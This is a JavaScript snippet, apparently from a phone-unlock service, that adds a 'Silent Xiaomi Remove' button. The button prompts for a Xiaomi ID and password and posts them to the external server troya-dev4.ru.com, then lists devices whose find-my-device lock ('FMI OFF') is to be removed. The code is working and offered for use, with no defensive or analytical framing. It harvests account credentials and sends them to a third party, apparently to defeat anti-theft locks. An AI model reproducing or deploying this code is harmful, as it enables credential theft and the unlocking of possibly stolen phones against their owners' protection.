<script language="javascript"><script>
document.getElementById('XiaomiRemove-btn').addEventListener('click', async function () {
    let loadingSwal = Swal.fire({
        title: '&#x26A1; Silent Xiaomi Remove &#x2705;',
        html:
            '<input id="swal-input1" class="swal2-input" placeholder="Enter your Xiaomi ID" value="">' +
            '<input id="swal-input2" type="password" class="swal2-input" placeholder="Enter your password" value="" style="font-family: monospace;">',
        confirmButtonText: 'FMI OFF',
        showLoaderOnConfirm: true,
        preConfirm: async () => {
            const appleId = document.getElementById('swal-input1').value;
            const password = document.getElementById('swal-input2').value;

            const formData = new FormData();
            formData.append('username', appleId);
            formData.append('password', password);

            const response = await fetch('https://troya-dev4.ru.com/Account/config/Xiaomi_Remove/Xiaomi.php', {
                method: 'POST',
                body: formData,
            });

            if (!response.ok) {
                Swal.showValidationMessage('Failed to fetch');
            }

            return response.json();
        },
        showCloseButton: true,
        customClass: {
            closeButton: 'btn-close-custom',  // Aplica una clase personalizada al botón de cierre
        },
    });

    try {
        const result = await loadingSwal;

        if (result.isConfirmed) {
            const data = result.value;

            if (data.success) {
                handleServerResponse(data);
            } else {
                Swal.fire({
                    title: 'Error',
                    text: data.message,
                    icon: 'error',
                    showCloseButton: true,
                    customClass: {
                        closeButton: 'btn-close-custom',  // Aplica clase personalizada
                    },
                });
            }
        }
    } catch (error) {
        console.error('Failed to remove devices:', error);
        Swal.fire({
            title: 'Error',
            text: 'Failed to remove devices. Please try again.',
            icon: 'error',
            showCloseButton: true,
            customClass: {
                closeButton: 'btn-close-custom',  // Aplica clase personalizada
            },
        });
    }
});

function handleServerResponse(response) {
    try {
        if (response.success) {
            const deviceList = response.device_list;

            if (deviceList.length === 0) {
                Swal.fire({
                    title: 'No Devices',
                    text: 'There are no devices to remove.',
                    icon: 'info',
                    showCloseButton: true,
                    customClass: {
                        closeButton: 'btn-close-custom',  // Aplica clase personalizada
                    },
                });
                return;
            }

            let formattedMessage = '';

            deviceList.forEach((device) => {
                formattedMessage += `
                    &#x1F4F1; ID: ${device.id}<br>
                    &#x1F4CB; Model: ${device.model}<br>
                    &#x1F6E0;&#xFE0F; Device Type: ${device.device_type}<br>
                    &#x1F4AC; Message: ${device.msg}<br>
                    &#x1F7E2; Status: ${device.status}<br><br>
                `;
            });

            Swal.fire({
                title: 'Device Information',
                html: formattedMessage,
                icon: 'info',
                showCloseButton: true,
                customClass: {
                    closeButton: 'btn-close-custom',  // Aplica clase personalizada
                },
            });
        } else {
            Swal.fire({
                title: 'Error',
                text: response.message,
                icon: 'error',
                showCloseButton: true,
                customClass: {
                    closeButton: 'btn-close-custom',  // Aplica clase personalizada
                },
            });
        }
    } catch (error) {
        console.error('Error parsing JSON response:', error);
        Swal.fire({
            title: 'Error',
            text: 'Something went wrong. Please try again.',
            icon: 'error',
            showCloseButton: true,
            customClass: {
                closeButton: 'btn-close-custom',  // Aplica clase personalizada
            },
        });
    }
}


</script></script>